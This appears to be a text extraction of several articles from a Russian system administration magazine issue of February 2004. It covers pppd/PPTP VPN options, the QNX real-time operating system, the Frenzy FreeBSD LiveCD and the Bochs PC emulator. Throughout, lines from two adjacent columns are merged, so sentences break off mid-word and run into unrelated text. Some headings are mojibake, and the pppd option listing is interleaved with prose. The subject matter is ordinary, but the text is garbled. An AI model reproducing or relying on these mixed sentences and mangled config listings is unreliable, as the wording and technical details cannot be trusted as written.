Ôàéë /etc/ppp/options Все мелкие детали, надеюсь, додумаете сами.


lock
А трафик считать – милое дело! (man pppd, раздел
Ôàéë /etc/ppp/options.pptpd SCRIPTS). Есть такие файлы /etc/ppp/ip-up и /etc/ppp/ip-down,
#debug
ipparam PoPToP которые pppd запускает в начале и в конце соединения
lock соответственно. А им (этим файлам) передаются такие ин-
mtu 1490
mru 1490 тересные параметры, как, например, логин, время на ли-
ms-dns <your dns ip addr> нии, скорость, сколько получено и отослано байт и т. д.
proxyarp
auth Как настроить клиентов, почитайте тут: http://poptop.
refuse-pap sourceforge.net/dox/.
refuse-chap
refuse-mschap Замечание: администраторам, которые решили реали-
require-mschap-v2 зовать в своей сети VPN-доступ, поможет DHCP-сервис.
require-mppe
require-mppe-128 Предварительно, до установки VPN-соединения, адреса
ipcp-accept-local в сети можно раздавать с помощью DHCP, из какой-ни-
ipcp-accept-remote
lcp-echo-failure 30 будь внутренней сети (192.168.1.0/24) без выхода в Ин-
lcp-echo-interval 5 тернет, главное, чтобы VPN-шлюз был доступен. Доступ
deflate 0
в Интернет у пользователей будет появляться только пос-
Замечание: как сказано выше, для аутентификации ис- ле установления VPN-соединения.
пользуем только ms-chap-v2. Чтобы узнать больше о па- Отдельное спасибо Дмитрию Коптеву за помощь в орга-
раметрах и их значениях, загляните в man 8 pppd. низации соединения и Андрею Бешкову за критику.

№2(15), февраль 2004 25


администрирование

QNX

АЛЕКСАНДР БАЙРАК

26
администрирование
Все операционные системы можно разделить на 2 катего- ! Non commercial edition (NC) – дистрибутив, предназна-
рии: ОС общего назначения, для которых главной задачей ченный для ознакомления с этой системой. Абсолют-
является эффективное распределение и использование ре- но бесплатен для некоммерческого использования.
сурсов компьютера, и на ОС реального времени, для кото- ! Standard Edition (SE) – в состав этого дистрибутива вхо-
рых задачей номер один является своевременная обработка дят средства, с помощью которых вы можете вести ком-
запроса, а все остальное как бы отходит на второй план. В мерческую разработку разного ПО и собственных ва-
свою очередь ОСРВ также делятся на два типа – мягкого и риантов систем.
жесткого реального времени. Между собой они главный об- ! Professional Edition (PE) – дистрибутив по сути своей
разом отличаются тем, что ОС жесткого реального време- является сильно «распухшей» версией SE.
ни гарантирует выполнение всех положенных ей действий
за строго определенный промежуток времени, в свое вре- На самом деле есть еще один вариант дистрибутива
мя мягкие ОСРВ в большинстве случаев, конечно, успева- этой системы, на сайте QNX (www.qnx.com) вы можете спи-
ют сделать все им предписанное, однако ничего не гаран- сать вариант системы, умещающийся на одну дискету.
тируют. QNX – это операционная система жесткого реаль- Очень рекомендую вам это сделать. Ведь сейчас от одно-
ного времени. Вы удивитесь, но и само семейство ОС QNX дискетной системы не ожидают ничего, кроме как очеред-
тоже следует разделить на два вида дистрибутивов. QNX ного дистрибутива Linux с функциями роутера/фаервола.
может поставляться как встроенная система и как среда А тут такое… полностью работоспособная ОСРВ, постро-
разработчика. К примеру, купили вы новомодную стираль- енная на микроядре (как и старшие братья), урезанный
ную машину, а за процессом стирки в ней зорко наблюдает GUI, и даже браузер графический есть. Работать будет на
QNX (как встроенная система), теперь можете считать себя любой 386 с 8 Мб RAM.
счастливым обладателем этой ОС (и даже ее пользовате- Несмотря на все новшества шестой версии, в нашей
лем) . Но кроме как радоваться ее безупречной работе, вам стране наибольшее распространение получила QNX чет-
больше ничего не остается, потому как вся настройка, от- вертой версии. Сейчас как таковая разработка четвертой
ладка, компоновка производится в другом виде дистрибу- версии завершена, последняя версия (4.25 patch G) вышла
тивов – комплекте разработчика. Надо заметить, что если в самом начале 2003 года. Но несмотря на все преимуще-
вы установили на свой компьютер среду разработчика, ства новых разработок, я не думаю, что шестая версия в
никто вас не заставляет использовать ее по прямому на- обозримом будущем полностью выживет четвертую с рын-
значению, такой вид дистрибутивов можно использовать и ка. Никто не будет менять системы, которые годами рабо-
как desktop-систему. Смею вас заверить, это намного ре- тали без сбоев и нареканий только потому, что есть более
альнее, чем кажется на первый взгляд. Встраиваемые вер- новая версия. А в некоторых местах нет такой возможнос-
сии QNX сейчас работают на следующих платформах: ARM, ти что-либо менять, т.к. простой системы либо абсолютно
StrongARM, MIPS32, PowerPC, x86, SH4 и Xscale. А комп- невозможен, либо приведет к очень большим убыткам. Тут
лекты разработчика на x86 и на SPARC. Эту «двоякость» еще стоит вспомнить о тех устройствах, на которых в прин-
QNX очень важно уяснить. ципе невозможно поменять ОС, потому как она вшита в
Рассмотрим дистрибутивы разработчика. QNX6 раз- ПЗУ. До появления четвертой версии в ходу была вторая
рабатывалась как POSIX-совместимая OCPB. Следует версия QNX, не получившая сколько-нибудь значительно-
также заметить, что она достаточно хорошо заточена под го распространения на просторах России. Работала эта
программы, которые написаны для ОС Linux. Только бери система на компьютерах с 286 процессорами. Кстати, надо
исходники и компилируй, иногда все компилируется во- заметить, что бинарной совместимости между различны-
обще без единной правки. Тут надо отметить, что офици- ми версиями нет, т.е. то, что работало под QNX4 на QNX6
альный компилятор под QNX4 и более ранних версий был вам не запустить (отсюда и еще одна причина, почему QNX4
Watcom C++, но с 6 версии им является GNU C. Компания не спешат полностью менять на QNX6). Подобные неудоб-
QSSL, выпуская на рынок QNX6, сделала два варианта ства можно объяснить только тем, что системы такого уров-
дистрибутива: ня очень глубоко «привязываются» к особенностям той или
! QNX RTP (Real Time Platform) – бесплатная среда раз- иной платформы. Недавно я узнал еще одну интересную
работки для некоммерческого использования. С воз- подробность: оказывается, до 1991 г. система вообще зна-
можностью (в случае начала коммерческих разрабо- чилась как стратегический ресурс, и строго настрого было
ток) приобретения у разработчиков лицензии. запрещено вывозить ее за пределы Северной Америки.
! QNX NIP (Networking Infrastructure Platform) – коммер- Вернемся к более подробному рассмотрению этой ОС.
ческий дистрибутив, по сути тот же QNX RTP, но с до-
полнением в виде возможностей, которые оценили по В двух словах об установке
достоинству производители оборудования для сетей. Установить систему разработчика QNX можно на SPARC, и
под управление ОС Solaris (к сожалению, поработать с QNX
С выходом версии 6.2 компания решила выпускать ди- на SPARC мне пока не удалось, так что какими-либо впечат-
стрибутивы по другой схеме. Отныне пакет разработчика лениями делиться не буду, а просто упомяну о такой воз-
вместе с ОСРВ QNX, графической средой Photon, инстру- можности). Также QNX можно поставить на компьютер с x86
ментами для разработки и некоторым количеством допол- архитектурой. Либо под управлением Windows, либо непос-
нительного ПО получили название QNX Momentics. Сей- редственно под QNX, в скором времени появится версия и
час выпускаются 3 вида дистрибутивов QNX Momemtics: под Linux. Но вы можете поставить ее и на FAT32. Скажу

№2(15), февраль 2004 27


администрирование
больше, если у вас Windows 98, и вы решите поставить QNX В отличие от процессов само ядро никогда не планирует-
на раздел FAT32, то QNX будет работать прямо под Windows ся к выполнению. Управление передается ядру только в ре-
98, в отдельном окошке. Что-то вроде виртуальной машины зультате прямого вызова ядра из процесса или по аппарат-
получается. Если же у вас W2K/XP и вы решите поставить ному прерыванию. Что касаемо передачи сообщений – ядро
QNX на уже существующий раздел FAT32, то заодно готовь- QNX реализует передачу любых сообщений между абсолют-
те дискету, потому как именно с нее вам нужно будет гру- но всеми процессами в системе. Сообщение представляет
зиться, в то время как все данные будут располагаться на собой обычный пакет данных размером до 64 Kб, который
вашем жестком диске. При установке в раздел FAT32 систе- передается ядром от одного процесса в другой. Ядро никог-
ме потребуется как минимум 500 Мб свободного места. Так да не изменяет содержимое сообщения, оно просто переда-
как на своей домашней машине чуда программистской мыс- ет данные из адресного пространства одного процесса в
ли от MS не держу, я устанавливал QNX на отдельный раз- адресное пространство другого процесса и как бы замора-
дел. Даже если у вас есть раздел FAT32, рекомендую не под- живает процесс-«отправитель» до тех пор, пока «получатель»
даваться на соблазн поставить систему на него, а сделать не ответит на посланное ему сообщение.
отдельный раздел и ставить QNX туда. На сайте разработ- Схематично изобразить взаимодействие ядра с процес-
чика минимальные системные требования для QNX PE со- сами можно так:
ставили P3-650 МГц /256 Мб RAM/1.5 Гб. Все, конечно, мо-
жет быть, с версией PE я не работал (она, насколько вы по-
мните, коммерческая). Но за время работы с версией NC,
как на Cel366 МГц /256 Мб RAM, так и на P3-550 МГц /256 Мб
RAM, каких-либо тормозов замечено не было. Кстати, преж-
де чем ставить систему, желательно ознакомиться со спис-
ком поддерживаемого оборудования на www.qnx.com/
support/sd_hardware/, но не стоит расстраиваться, если сре-
ди списков железа вы не обнаружите чего-либо установлен-
ного у вас в компьютере, в действительности список на-
много шире, просто пока тестеры из QSSL самолично ка-
кую-нибудь железяку не проверят всеми доступными спосо-
бами, в список ее не включат. Процесс установки системы
очень прост, никаких подводных камней и трудностей я не Все функции реализуются только этими системными
встретил, так что останавливаться и подробно описывать его процессами. Эти процессы ничем не отличаются от других
мы не будем, там действительно все предельно просто. Стан- обычных процессов, и именно это обеспечивает QNX лег-
дартный для QNX графический интерфейс Photon, который кую расширяемость. Процесс dev отвечает за администри-
встречает пользователя сразу после загрузки системы, ин- рование различных устройств, proc – за администрирова-
туитивно понятен, так что тратить время на его описание ние процессов, fsys – администрирование файловой сис-
смысла я не вижу. В качестве стандартного командного ин- темы, net отвечает за сеть.
терпретатора используется ksh, но, конечно, никто не запре-
щает поставить, например, bash или csh. Исходя из этого Файлы и файловая система QNX
становится ясно, что с работой в консоле QNX любой юник- Все данные в операционной системе хранятся в виде фай-
соид освоится за несколько минут. Большинство команд так- лов. Ну а файлы – это в свою очередь набор байтов, име-
же уже знакомо всем приверженцам UNIX-систем, все те же ющих общие атрибуты (имя, GID, UID, тип файла, метки
mv, pwd, rm, ну и так далее. Единственное, что хотелось бы времени). QNX обеспечивает поддержку следующих ти-
отметить, вместо архиважной команды man используется ко- пов файлов: обычные файлы, каталоги, жесткие ссылки,
манда use, ну а суть ее та же. мягкие ссылки, FIFO (именованные программные каналы),
блок-ориентированные специальные файлы, байт-ориен-
Ядро QNX тированные специальные файлы, и именованные специ-
Во всех ОС, которые мне встречались, ядра системы были альные устройства. Вкратце я расскажу о них.
так нагружены, что они уже сами по себе начинали смахи- ! Обычные файлы – последовательность байт, не име-
вать на операционные системы (сколько нынче ядро пингви- ющих предопределенной структуры. За интерпретацию
ненка весит?). Скажу сразу, ядро QNX весит от 8 до 32 Кб. данных из обычных файлов отвечают разные прило-
Удивлены? Такой малый размер достигается за счет того, жения.
что, во-первых, ядро полностью написано на ассемблере, и ! Каталоги – это те же самые обычные файлы, но они
во-вторых (самое главное), ядро QNX исполняет всего 2 за- имеют определенную структуру. Структура эта пред-
дачи: передачу сообщений и планирование. Все. Причем ставляет собой набор записей, которые называются
удивительно, но факт – само ядро не планируется, а взаи- элементами каталога.
модействие с ним осуществляется с помощью процессов ! Жесткие ссылки – если нам нужно обращаться к одно-
(надо заметить, с одинаковыми правами). Часть ядра, отве- му и тому же файлу, по нескольким именам, и из раз-
чающая за планировку, «вступает в игру», после того как ных мест, нам на помощь приходит как раз такой вид
некий процесс меняет свое состояние в результате появле- файлов, как жесткие ссылки. Т.е. сама по себе жест-
ния сообщения, адресованного ему, или прерывания. кая ссылка является указателем на другой файл.

28
администрирование
! Мягкие ссылки – почти то же самое, что и жесткие ссыл- ! Битовая карта – на диске представлена файлом /.bitmap,
ки, разница в том, что, используя мягкие ссылки, вы который содержит все блоки диска, каждый из кото-
можете делать ссылки на файлы, которые находятся рых представлен битом. Если бит равен 1, значит блок
за пределами файловой системы, на которой находит- уже занят, если 0, значит блок свободен.
ся исходный файл (на который делается ссылка). Во- ! Корневой каталог – по сути своей обычный каталог,
обще мягкую ссылку можно представить как некий тек- только за тем исключением, что жесткие ссылки «.» и
стовый файл, в котором содержится имя другого фай- «..» являются ссылками на этот же самый корневой ка-
ла, к которому перенаправляются все запросы. талог.
! FIFO по сути является механизмом взаимодействия
между несколькими процессами – один процесс пишет QNX может работать с достаточно большим количе-
в программный канал, а другой читает оттуда. Сразу ством разный файловых систем, среди которых: FAT12,
становится ясным, что FIFO не очень быстрый способ FAT16, FAT32, NFS, ISO9660, EXT2, NFS.
для межзадачного взаимодействия.
! Блок-ориентированные специальные файлы – файлы, QNX и сеть
которые существуют для изоляции приложений от физи- Я уже упомянул, что QNX разрабатывалась как сетевая
ческих характеристик аппаратуры. Обмен данными осу- операционная система. В QNX есть своя «родная» сеть –
ществляется в блоках. Важной особенностью таких фай- qnet. У каждого компьютера в сети под управлением QNX
лов является то, что в QNX они создаются не на диске, а есть свой id. Собственно говоря, именно этот id и позво-
в оперативной памяти. Создаются они соответственно при ляет узнать, работает QNX как сеть или же просто как
запуске конкретных драйверов. Примером устройства для обычная система. Этим занимается один из упомянутых
которых создаются такого рода файлы, является HDD. выше системных процессов – net. Сетевое взаимодей-
! Байт-ориентированные специальные файлы – этот тип ствие в подобных сетях абсолютно прозрачное благодаря
файлов очень похож на блок-ориентированные специ- способности QNX осуществлять обмен сообщениями меж-
альные файлы, но разница в том, что байт-ориентиро- ду микроядрами систем через сеть. «А как отличить сете-
ванные обеспечивают интерфейс к аппаратуре, и об- вое сообщение от локального?» – спросите вы. Есть про-
мен данными осуществляется побайтовый. Примером странство имен путей администратора всех процессов. Так
устройства, для которых создаются такие файлы, яв- что при загрузке администратор (роль которого выполня-
ляется сетевая карта, com-порт. Такие файлы также ет разделяемая библиотека npm-qnet.so (каждый интер-
создаются при запуске соответствующего драйвера. фейс протокола поставляется в виде разделяемой биб-
! Именованные специальные устройства – самый инте- лиотеки, например, npm-qnet.so, протокол QNET, также
ресный тип файлов, байт и блок, ориентированные известный как Native Neurino Networking)) регистрирует
файлы достаточно универсальны, и как следствие их символьное имя /dev/io-net/qnet0, а также каталог /net, в
можно использовать не только для обмена данными с который впоследствии помещаются файлы с именами
драйверами устройств, но и для взаимодействия с дру- хостов в нашей сети, к которым можно получить доступ.
гими программами. В этих случаях приложения, дела- Помимо прозрачности в вопросе доступа к файлам на
ющие специальные файлы, будут выглядеть как про- разных хостах, qnet позволяет запускать всякого рода зада-
граммные устройства. Яркий пример такого вида фай- чи на любом из доступны хостов сети. Т.е. у нас получается
лов в QNX – это /dev/photon. как бы виртуальный суперкомпьютер. И все бы хорошо, но
есть и один очень большой недостаток этой сети – безопас-
Как я уже упоминал ранее, файловой системой QNX ность. В принципе каждый хост может делать все, что ему
управляет процесс fsys. Он отвечает за обработку всяко- заблагорассудится, с другим хостом в сети. Поддержка TCP/
го рода запросов к файлам (чтение, запись, открытие, зак- IP-стека в QNX во многом позаимствована из NetBSD v1.5.
рытие). Доступ к файлам принципиально не отличается Поддержка стека протоколов TCP/IP в QNX обеспечивается
от того метода, который используется в других Unix-по- средствами трех модулей (npm-ttcpip.so, npm-tcpip-v4.so npm-
добных системах. Выше я упомянул, что QNX разрабаты- tcpip-v6.so), которые загружаются процессом net, который,
валась как POSIX-совместимая система. Файловая сис- как я уже упоминал, отвечает за поддержание работы сети.
тема QNX очень интересно построена, при записи каких- Тут не обойден вниманием аспект безопасности – пакетную
либо данных, критически важных для системы, файлы за- фильтрацию и трансляцию адресов осуществляет портиро-
писываются немедленно, а некритические сначала поме- ванный в QNX IP Filter (версии 3.2.37).
щаются в специальный буфер и только потом уже запи- Вот и подошла к концу статья, посвященная QNX. Ин-
сываются. Хотя при таком раскладе и возникает некото- формации для размышления, я думаю, было получено
рая задержка, но уловить ее практически невозможно. достаточно. Для особо заинтересовавшихся – в рунете
В каждом разделе QNX есть: очень немного информации по QNX, единственный более-
! Блок загрузчика – им является первый физический либо менее интересный сайт, посвященный этой системе –
блок, либо раздел HDD, в котором и располагается IPL – www.qnx.org.ru. А вот в бумажном виде мне вообще ни
начальный загрузчик, который и считывает BIOS. одной книги, к сожалению, не попадалось. Если читате-
! Корневой блок – в нем лежит информация об очень лям эта тема покажется интересной, я могу еще много
важных четырех системных файлах: / (корневой ката- занятного рассказать об этой операционной системе, так
лог); /.inodes; /.boot; /.altboot. что жду ваших отзывов.

№2(15), февраль 2004 29


администрирование

FRENZY:
FreeBSD В КАРМАНЕ
СИСАДМИНА

Любой сисадмин хоть раз в своей жизни


(или даже не раз) делал себе системную
дискету. Он любовно подбирал драйверочки,
вписывал их в config.sys, а иногда даже
делал startup-меню. После чего сдвигал
рычажок защиты от записи и любовно
надписывал: «СИСТЕМНАЯ ДИСКЕТА»,
втайне считая при этом, что его дискета –
самая лучшая. Убирал дискету в верхний
ящик стола. Через 3 месяца, матерясь, рылся
в залежах бумаг и прочего хлама, восклицая
«Ну где же она?!».

СЕРГЕЙ МОЖАЙСКИЙ
30
администрирование
Описанная выше ситуация вам знакома, не так ли? Всем работы со всеми приложениями из состава Frenzy. В слу-
нам хочется носить с собой набор необходимых утилит, чае нехватки оперативной памяти вы можете создать
чтобы всегда быть готовым к решению любых проблем swap-файл на смонтированных разделах винчестера.
и не искать нужный для этого софт. За прошедшие с тех После загрузки с CD мы получаем вполне работоспо-
пор годы размеры операционных систем и программ для собную операционную систему FreeBSD 4.8-STABLE. В
них заметно выросли, и системные дискеты преврати- качестве командной оболочки использован стандартный
лись в загрузочные компакт-диски. И если в мире tcsh, но его функциональность была дополнена скрипта-
Windows такой подход не особо популярен, то в мире UNIX ми из проекта tcshrc – и теперь в нем есть расширенное
все наоборот – количество LiveCD-дистрибутивов исчис- автодополнение команд, поддержка «горячих» клавиш,
ляется десятками, да и сделать собственный LiveCD те- проверка синтаксиса введенных команд и многое дру-
перь может практически каждый, благо скриптов и доку- гое. Для тех, кто привык к файловым менеджерам, есть
ментации на эту тему написано достаточно. Правда, Midnight Commander и Demos Commander, который ме-
LiveCD делаются в основном на базе Linux – Knoppix, Blin, нее функционален, но зато намного быстрее и проще.
Linux-BBC, Phlak, Gentoo LiveCD, RTK... Операционная Есть и графическая оболочка XFree86 4.3.0 с оконным
система FreeBSD куда более «консервативна» и на но- менеджером fluxbox.
вомодное увлечение LiveCD внимания не обращала. Не- При загрузке разделы жесткого диска монтируются
смотря на то что в портах FreeBSD есть целых три набо- автоматически, потом можно смонтировать сетевые дис-
ра скриптов для создания собственного LiveCD (sysutils/ ки NFS и SMB, с DOS-дискетами можно работать и без
cdroot, sysutils/freesbie, sysutils/livecd), готового к исполь- монтирования – достаточно воспользоваться программа-
зованию набора не предлагал практически никто. ми из пакета mtools или файловым менеджером MToolsFM.
Поскольку с FreeBSD я работал уже долгое время, мне Если нам нужно настроить сеть, то можно не возить-
всегда хотелось создать LiveCD именно на его основе, и ся с ifconfig и редактированием конфигурационных фай-
в июле 2003 года я принялся за работу. Информацию по лов – в Frenzy есть диалоговый скрипт lan-config, по-
вопросу создания LiveCD на базе FreeBSD приходилось зволяющий настроить поддержку локальной сети. Для
выискивать по крупицам – поиск в Google дал не больше настройки модемного соединения используется скрипт
десятка действительно полезных ссылок, которыми я и ppp-config. Теперь можно запускать популярный брау-
воспользовался в работе. К началу августа у меня полу- зер Opera или консольный lynx для веб-серфинга, ска-
чился первый работоспособный LiveCD. Получившийся чивать файлы с помощью curl или wget, пользоваться
дистрибутив я не планировал распространять, посколь- почтовыми и новостными клиентами mutt, tin, sylpheed-
ку считал, что это мало кому будет интересно, ограни- claws, общаться в сети ICQ с помощью centericq или licq
чился лишь кратким анонсом о выходе Frenzy 0.1 и вы- и чатиться в IRC с помощью xchat. Кроме того, из Frenzy
ложил сборочные скрипты. Позже, примерно через не- можно сделать тестовый маршрутизатор, firewall, NAT,
делю, я смог выложить в Сеть ISO-имидж. Однако новая NFS или DNS-сервер – все необходимое для этого есть
разработка заинтересовала многих, я получал множество в системе.
писем и сообщений ICQ по поводу Frenzy. Обзор первой Теперь перейдем к программам для системного адми-
версии Frenzy вы можете прочесть в январском номере нистратора, которые и составляют основу дистрибутива.
этого журнала. При неполадках с винчестером могут помочь утили-
По мере поступления отзывов стало понятно, что не- ты gpart (с ее помощью я дважды восстанавливал по-
обходимо выпустить следующий релиз, в котором будут врежденную таблицу разделов), disktype, testdisk. Для
исправлены недоработки первой версии и учтены выска- восстановления удаленных файлов на FAT-дисках есть
занные пожелания. Поэтому 20 октября вышла Frenzy 0.2. fatback, для фришной FFS – экспериментальная утилита
В новой версии был обновлен набор программного обес- ffsrecov. Тем, кто хочет протестировать свое «железо»,
печения, добавлены криптографические утилиты, обес- пригодятся программы bytebench, cpuburn, ubench,
печена поддержка NFS и SNMP, а также заметно упро- memtest, pciutils.
щен процесс сборки. Набор сетевых утилит, думаю, удовлетворит многих –
Frenzy распространяется в соответствии с лицензией есть утилиты для работы с DNS, ICMP, DHCP, SNMP,
BSD, вы можете скачать ISO-имидж системы, заказать в NetBIOS. Для удаленного управления есть сервер и кли-
интернет-магазинах компакт-диск или сделать свой ди- ент VNC – утилита tightVNC, оптимизированная для рабо-
стрибутив Frenzy самостоятельно, используя сборочные ты по медленным каналам связи, а также rdesktop (кли-
скрипты. Обеспечивается полноценная техническая под- ент для Windows Terminal Server).
держка – вы можете всегда получить консультацию по В состав Frenzy входит антивирусный пакет Dr.WEB
работе с системой на форуме сайта проекта или почто- для проверки на вирусы FAT-разделов, а для UNIX-сис-
вой рассылке. тем полезным окажется наличие утилит chkrootkit и cops,
позволяющих определить наличие руткитов в системе.
Возможности Frenzy Для анализа безопасности сети есть пакетные сниффе-
Минимальными требованиями для работы Frenzy являет- ры, сканеры портов, утилиты подбора паролей и многие
ся компьютер Pentium с 32 Мб RAM. Однако для некото- другие программы. Отмечу лишь некоторые из них – по-
рых программ требуется существенно больше оператив- пулярный сканер безопасности nessus, система обна-
ной памяти, поэтому 128 Мб будет вполне достаточно для ружения сетевых атак snort, знаменитая утилита nmap

№2(15), февраль 2004 31


администрирование
(с графическим фронтендом nmapfe), удобный пакетный работ, я решил все это автоматизировать с помощью
сниффер ethereal. набора скриптов. Из пакаджей удаляются include и info-
Ко всем программам в системе прилагается доку- файлы, ненужные локали (зачем нам, к примеру, X-Chat
ментация и сопутствующие man-страницы, так что раз- на китайском?), после чего к пакаджу применяются ин-
бираться во всем «методом тыка» не придется. Кроме дивидуальные патчи. В итоге размер системы удалось
того, в каталоге /frenzy/doc есть краткая документация сократить с 330 до 196 Мб.
по работе с Frenzy и список приложений с описанием После всех этих приготовлений загрузочный ISO-
их назначения. имидж создается такой командой:
Провозившись некоторое время с настройками сис-
темы, вам наверняка захочется их сохранить, чтобы не mkisofs -b boot/cdboot -no-emul-boot -r -J -D ↵
-V Frenzy_02 -o iso/frenzy_v02_release.iso FRENZY
настраивать при следующей загрузке все заново. Для
этого есть скрипт backup, который позволит сохранить Загрузку с CD можно было реализовать двумя спосо-
все изменения в каталогах /etc, /root, /usr/local/etc и /var/ бами – эмуляцией загрузочной дискеты (так называемой
drweb на обычную DOS-дискету. При загрузке система El-Toro) или прямой загрузкой (с помощью загрузчика
проверяет наличие backup-дискеты в дисководе и вос- cdboot). В Frenzy используется второй вариант, посколь-
станавливает настройки с нее. ку он проще в реализации.
Получившиеся тестовые сборки я сначала отлаживал
Процесс разработки в VMWare, после чего стабильный билд записывался на
При работе над дистрибутивом Frenzy возникало множе- CD и проверялся уже на реальных компьютерах. Посколь-
ство проблем. ку систему не планировалось распространять, процесс
Сделать загрузку системы с CD удалось не сразу – ее сборки был автоматизирован лишь частично, некото-
советы и рекомендации, найденные мной в Интернете, рые операции приходится делать вручную, однако в сле-
не помогали. Как оказалось, для того, чтобы система дующих версиях процесс сборки будет уже полностью
могла загружаться с CD, достаточно было наличия этих автоматизирован.
опций в ядре: Желающие более детально ознакомиться с процес-
сом сборки Frenzy могут скачать скрипты с сайта проек-
options CD9660 та. Кроме того, на CD с Frenzy 0.2 в каталоге /frenzy/devel
options CD9660_ROOT
можно найти сборочные скрипты и краткую документа-
а также наличия строки: цию к ним.

vfs.root.mountfrom="cd9660:acd0a" Перспективы развития


В настоящее время ведется работа над Frenzy 0.3. Сле-
в файле /boot/loader.conf. дующая версия Frenzy будет основана на 5-й ветке
Уменьшение размера базовой системы делалось по FreeBSD. Реализация сжатой файловой системы (под-
инструкциям, изложенным в cтатье Мануэля Каспера держки которой пока еще нет в FreeBSD) позволит уве-
«miniBSD – reducing FreeBSD» (http://neon1.net/misc/ личить количество приложений и положительно скажет-
minibsd.html) – ему удалось уместить всю систему вмес- ся на скорости загрузки. Также планируется обновить
те с Perl в 22 Мб, у меня же вышло порядка 40 за счет набор софта и включить в состав дистрибутива русскую
добавления man-страниц и ряда полезных утилит. документацию по ряду приложений.
Патчи в конфигурации системы сводились к добав- Frenzy прочно заняла свое место в ряду LiveCD-дист-
лению в /etc/rc.conf строки: рибутивов и помогает в решении повседневных задач
многим системным администраторам. Надеюсь, вас она
diskless_mount="/etc/rc.frenzy" тоже заинтересует.

и написанию самого скрипта rc.frenzy и его компонентов.


Для полноценной работы LiveCD необходимы разделы в
памяти (memory disks), в которые может производиться
запись, первый компонент – скрипт rc.frenzy.mfs – созда-
ет их и заполняет необходимыми файлами. Затем необ-
ходимо найти и смонтировать разделы жесткого диска,
за это отвечает скрипт rc.frenzy.part. И наконец, нужно
обеспечить восстановление сохраненных на дискету на-
строек системы, скрипт restore отвечает за эту операцию.
Одной из главных отличительных черт Frenzy являет-
ся уменьшение размера установленных приложений, бла-
годаря чему удалось уместить большое количество при-
ложений на 3-дюймовый компакт-диск. В первой версии
«препарирование» всех пакаджей проделывалось вруч-
ную. Однако при создании версии 0.2, прикинув объем

32
администрирование

КАК ЧЕРТИК ИЗ КОРОБОЧКИ

ВАЛЕНТИН СИНИЦЫН

34
администрирование
Если вам в детстве посчастливилось иметь «бытовой ком- Bochs есть и другие области применения. Так, его очень
пьютер» (БК-0010, ZX Spectrum, «Корвет», ATARI и т. д.), удобно использовать для знакомства с новыми ОС и в
то вы наверняка знакомы с программами-эмуляторами, качестве полигона для различных экспериментов над
основная задача которых – шаг за шагом интерпретиро- ними. Bochs позволяет избежать малоприятной процеду-
вать инструкции «чужого» процессора, имитировать ра- ры переразбиения жесткого диска и уменьшает опасность
боту периферийных устройств (монитора, клавиатуры, потери данных, сопутствующую опытам над реальными
дисковода) с тем, чтобы на IBM PC можно было запустить системами. Кроме того, при помощи Bochs можно выпол-
программы, разработанные для других аппаратных архи- нять приложения Win32 в Linux (и наоборот). Правда, для
тектур. Однако что мешает создать для IBM PC эмулятор этого потребуется лицензионная копия ОС и место для
IBM PC? Ответ прост – ничего! Более того, проект по его хранения дискового образа. Отметим, что Bochs эмули-
написанию был начат еще в 1994 году Кевином Лоутоном рует работу оборудования, а не конкретной операцион-
(Kevin Lawton). В течение 6 лет Bochs (произносится как ной системы (для этого есть dosemu, WINE и т. п.), поэто-
английское «box» – коробка) распространялся как тради- му в нем работают программы, использующие недокумен-
ционный «закрытый» продукт (правда, желающие могли тированные возможности и прочие «трюки». Отдельная
приобрести его исходные коды), но в 2000 году он был (и весьма специфичная) сфера применения Bochs – от-
куплен компанией MandrakeSoft и лицензирован по LGPL ладка ядер операционных систем (о возможностях встро-
(GNU Lesser General Public License). В настоящий момент енного отладчика Bochs – чуть ниже). И наконец, при по-
сайт проекта Bochs расположен по адресу: http:// мощи Bochs можно запускать приложения, написанные
bochs.sourceforge.net для x86, на других аппаратных платформах.
С пользовательской точки зрения Bochs похож на
VMWare: он также позволяет запустить на одном компью- Возможности Bochs
тере несколько операционных систем и «переключаться» Bochs эмулирует IBM-совместимый компьютер класса
между ними по мере необходимости. С технической точ- Pentium (имеется частичная поддержка Pentium Pro, на-
ки зрения имеется существенное различие: Bochs не ис- бора инструкций MMX, а начиная с версии 2.1pre1 – SSE
пользует технологий виртуализации и динамической и AMD 3DNow!), к которому можно «подключить»:
трансляции (иными словами, он именно интерпретирует ! Видеоадаптер VGA/SVGA. Разрешение – вплоть до
инструкции процессора, а не исполняет куски кода в native- 1024x768x32bpp (для Bochs 2.1pre1) или 1024x768x8bpp
режиме), что, с одной стороны, позволяет ему работать (для более ранних версий).
на платформах, отличных от x86 (в настоящий момент ! 3.5/5.25-дюймовый дисковод. В качестве дискеты мо-
кроме x86 поддерживаются PPC, Alpha, Sun и MIPS), а с жет использоваться файловый образ, а в Unix/Windows
другой – означает меньшую скорость эмуляции (факти- 2000 – реальный привод.
чески, сравнительно невысокая производительность ! Жесткий диск объемом до 32 Гб – в форме файлового
Bochs является одним из его самых существенных мину- образа. Начиная с версии 2.1pre1, Bochs поддержива-
сов). Виртуальная машина с открытым исходным кодом ет простые (flat), «разреженные» (sparse) и «растущие»
Plex86 (http://www.plex86.org), использующая виртуализа- (growing) образы, а также умеет откатывать (rollback)
цию, находится сейчас в стадии разработки. Однако она сделанные в них изменения. В Unix имеется возмож-
не является полным аналогом VMWare, поскольку поддер- ность работы с реальным жестким диском (посред-
живает в качестве гостевой ОС только Linux. Bochs сам ством файлов блочных устройств /dev/hd*), однако это-
по себе является кросс-платформенным приложением: в го не рекомендуется делать по соображениям безопас-
роли так называемой «хост-системы» для него может вы- ности.
ступать Linux, различные варианты BSD, Mac OS X, ! Привод ATAPI-4/IDE CDROM – «компакт-диск» может
Microsoft Windows, а также BeOS и Amiga/MorphOS. «Гос- быть представлен своим ISO-образом или вставлен в
тевой ОС» (системой, работающей в эмуляторе) теорети- реальный привод.
чески может быть все, что угодно. На сайте проекта мож- ! Клавиатуру PS/2 и двухкнопочную мышь PS/2.
но найти дисковые образы для большинства систем с от- ! NE2000-совместимую сетевую карту, с помощью ко-
крытым исходным кодом: Linux, OpenBSD, FreeDOS, GNU/ торой гостевая ОС может связываться с другими ма-
Hurd, и даже Minix. Операционные системы семейства шинами в своей локальной сети или даже выходить в
Microsoft Windows также успешно работают в Bochs, но, Интернет.
по вполне понятным причинам, их образы не могут быть ! Звуковую карту, совместимую с SoundBlaster 16. В
расположены в свободном доступе. Linux, FreeBSD и Windows возможна работа с аудио-
Прежде чем переходить к обсуждению возможностей платой хост-системы.
Bochs, ответим на один простой вопрос: зачем он вообще ! Параллельный и последовательный порты. Вывод мо-
